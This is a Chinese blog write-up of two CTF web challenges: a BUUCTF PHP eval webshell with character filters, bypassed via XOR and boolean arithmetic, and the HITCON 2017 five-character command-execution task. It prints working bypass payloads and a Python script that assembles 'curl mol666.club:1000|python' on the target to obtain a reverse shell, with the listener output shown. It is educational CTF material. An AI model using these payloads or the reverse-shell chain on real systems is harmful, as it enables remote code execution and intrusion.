有过滤和长度限制的webshell

博客许久没有更新,小学弟都开始打我了,我哭了.
想想也真快,上一次宣讲会我还是坐在下面听学长讲课,现在就变为了我再台上讲了,不免心中发出一声感叹
抓紧时间把!
本章是从一道buuctf上的webshell题开始说起,随后根据p牛等等的参考进行一些总结,如有问题欢迎讨论

题目代码很短,如下

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

可以看到题意首先是一个正则表达式,随后是判断出现不同的字符的次数必须小于或等于13个,随后用eval执行.这种题呢主要是考到一个字符串异或运算和函数调用的问题,接下来详细说明

预期解

首先使用脚本查看剩余字符,也可以通过网站调试(https://regex101.com/)

<?php
for($i=33;$i<127;$i++){
    if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', chr($i)) ) continue;
   echo chr($i);
}
// !#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~

检查还剩余那些函数可以用

<?php 
$arr = get_defined_functions()['internal'];

foreach ($arr as $key => $value) {
    if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $value) ){
        unset($arr[$key]);
        continue;
    }

    if ( strlen(count_chars(strtolower($value), 0x3)) > 0xd ){
        unset($arr[$key]);
        continue;
    }
}
var_dump($arr);
?>
array(15) {
  [206]=>
  string(5) "bcmul"
  [1060]=>
  string(5) "rtrim"
  [1066]=>
  string(4) "trim"
  [1067]=>
  string(5) "ltrim"
  [1078]=>
  string(3) "chr"
  [1102]=>
  string(4) "link"
  [1103]=>
  string(6) "unlink"
  [1146]=>
  string(3) "tan"
  [1149]=>
  string(4) "atan"
  [1150]=>
  string(5) "atanh"
  [1154]=>
  string(4) "tanh"
  [1255]=>
  string(6) "intval"
  [1403]=>
  string(4) "mail"
  [1444]=>
  string(3) "min"
  [1445]=>
  string(3) "max"
}

随后重点来了,因为数字被过滤了,我们采用布尔转数字再转字符的方式

php > var_dump(!a);
PHP Notice:  Use of undefined constant a - assumed 'a' in php shell code on line 1
bool(false)
php > var_dump(!!a);
PHP Notice:  Use of undefined constant a - assumed 'a' in php shell code on line 1
bool(true)

可以再加一个@忽略 notice 输出

<?php
var_dump(@a);       //string(1) "a"
var_dump(!@a);  //bool(false)
var_dump(!!@a); //bool(true)

而对 bool 类型使用加法的时候, php 则会将 bool 类型处理为数字,true 转换为 1 , false 为 0 ,所以我们又可以利用这一点来实现数字计算:

<?php
var_dump(!!@a + !!@a);  //int(2) 1+1
var_dump((!!@a + !!@a) * (!!@a + !!@a + !!@a + !!@a));  //int(6) (1+1)*(1+1+0+1)
php > var_dump(@a^"1");
string(1) "P"
php > echo ord("a");
97
php > echo ord("1");
49
php > echo 97^49;
80
php > echo chr(80);
P

我们就可以利用之前的数字操作加上异或就可以得到我们自己想要的操作了。

php > var_dump(@p^"1");
string(1) "A"
php > var_dump(@h^"1");
string(1) "Y"
php > var_dump(@i^"1");
string(1) "X"
php > var_dump(@n^"4");
string(1) "Z"
php > var_dump(@f^"1");
string(1) "W"
php > var_dump(@o^"5");
string(1) "Z"
php > var_dump(@phpinfo^"1111415");
string(7) "AYAXZWZ"
php > var_dump(@AYAXZWZ^"1111415");
string(7) "phpinfo"

知道构造原理后,我们脚本穷举查看所有构造可能,然后选取字符重复性最多的那个进行构造

string =  "!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~"
aim = "phpinfo"
for j in aim:    
    for ch in string:
        for i in range(1,10):
            if chr(ord(ch)^ord(str(i)))==j:
                print(ch+":"+str(i),end="| ")
    print("")

result:
A:1| B:2| C:3| H:8| I:9| 
Q:9| Y:1| Z:2| \:4| ]:5| ^:6| 
A:1| B:2| C:3| H:8| I:9| 
Q:8| X:1| Z:3| \:5| ]:4| ^:7| 
V:8| W:9| X:6| Y:7| Z:4| \:2| ]:3| 
Q:7| R:4| T:2| U:3| W:1| ^:8| 
V:9| W:8| X:7| Y:6| Z:5| \:3| ]:2| ^:1| 

我们选择AYAYYRY ^ 1110746这样构造,后面的1110746我们用前面的!!a进行二进制转换构造
1110746=2^15+2^14+2^13+2^12+2^9+2^7+2^6+2^3+2
然后使用trim函数将数字转为字符串所以payload如下:

(AYAYYRY^trim(((((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a)))+(((!!a+!!a))**((!!a))))))();

注意在提交url的时候+会被视为空格,所以我们首先应当将+转为%2b

QQ截图20190918144420.png

所以我们只需要按照同样的编码方式,尽量找相同的字符,就可以执行相关的 php 函数了,通过以下步骤就可以拿到 flag 了

var_dump(scandir(getcwd()));

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(34) "n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt" }

var_dump(file_get_contents(end(scandir(getcwd()))));

 string(42) "flag{003b5719-ddaf-425b-aec1-7d83c5240c72}"

非预期解

单次异或可能会有一定的局限性,我们也可以通过两次或者多次异或来进行字符串的构造:

(qiqhnin^iiiiibi^hhhhimh)();//phpinfo()

也可以通过十六进制异或来进行字符串操作(不过这个字符不重复数量大于13,但是可以多次异或找到重复较少的一种情况).例如:

print_r ^ 0xff -> 0x8f8d96918ba08d -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8d%96%91%8b%a0%8d))
scandir ^ 0xff -> 0x8c9c9e919b968d -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%91%9b%96%8d))
      . ^ 0xff -> 0xd1             -> ((%ff)^(%d1))

5个字符getshell

这道题是HITCON 2017的赛题,水平很高

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

代码同样很短,其中最重要的就是那个小于等于5了,对于这种题考察的是linux下面的多行命令的续写,例如

ls -t //我们可以写作 

l\
s\
 \
-\
t 
所以这样可以很好的绕过长度限制
[root@izwz98c0bl67xe96pdbudpz d0b8d366c4d004cd9d22bf32674f35ce]# sh 1
1  s 
[root@izwz98c0bl67xe96pdbudpz d0b8d366c4d004cd9d22bf32674f35ce]# cat 1
l\
s\
 \
-\
t

绕过长度限制后,重要的是命令的正确执行,在此我们使用ls -t命令使当前目录下的文件按照文件的创建的顺序进行排列然后重定向到一个文件中,最后我们执行这个文件即可运行我们自定义的命令,大致思路就是这样,不过在此之前有个前提条件,就是能够成功构造ls -t >filename这个命令,因为ls -t>g这个已经超过了5个字符,一下是官方wp

payload = [
    # generate `ls -t>g` file
    '>ls\\', 
    'ls>_', 
    '>\ \\', 
    '>-t\\', 
    '>\>g', 
    'ls>>_', 

这样payload直接打过去后,我们可以得到这样的文件

QQ截图20190920112521.png

可以看到其中有一段构成了完整的ls -t>g,所以构造成功了
但是鄙人未能复现,因为ls 与 -t文件始终是连在一起的,中间没法插入空格??

[root@VM_0_6_centos temp]# >ls\\
[root@VM_0_6_centos temp]# >-t\\
[root@VM_0_6_centos temp]# >\ \\
[root@VM_0_6_centos temp]# ls
 \  ls\  -t\

我懵了,所以鄙人就跳过这个问题,先把ls -t>g这个命令写入到一个文件内

[root@izwz98c0bl67xe96pdbudpz d0b8d366c4d004cd9d22bf32674f35ce]# ls
_
[root@izwz98c0bl67xe96pdbudpz d0b8d366c4d004cd9d22bf32674f35ce]# cat _
ls -t >g

接下来就是构造写入命令时间!以ls -t的特性,我们需要倒着把命令打入,所以给出一下脚本

import requests
from time import sleep

address = 'curl mol666.club:1000|python'
length = len(address)


payload = [
    '>on', 
    '>th\\\\', 
    '>py\\\\', 
    '>\|\\\\', 
    '>00\\\\',
    '>10\\\\',
    '>:\\\\',
    '>ub\\\\',
    '>cl\\\\',
    '>6.\\\\',
    '>6\\\\',
    '>l6\\\\',
    '>mo\\\\',
    '>\ \\\\',
    '>rl\\\\',
    '>cu\\\\',

    'sh _',
    'sh g'
    ]

r = requests.get("http://mol666.club:1000/1.php?reset=1")
for i in payload:
    r = requests.get('http://mol666.club:1000/1.php?cmd=' + i )
    print (i)
    sleep(0.2)

上面利用的是一个python的反弹shell ,我们监听7777端口即可得到shell

[root@VM_0_6_centos ~]# nc -lvp 7777
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
Ncat: Connection from 47.106.69.228.
Ncat: Connection from 47.106.69.228:53158.
bash: no job control in this shell
[www@izwz98c0bl67xe96pdbudpz 2171db0b4fc176a2aa97b56b3c86b328]$ 

参考

https://xz.aliyun.com/t/5677#toc-2
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

本文链接:

http://chrisyy.top/index.php/archives/10/
1 + 2 =
快来做第一个评论的人吧~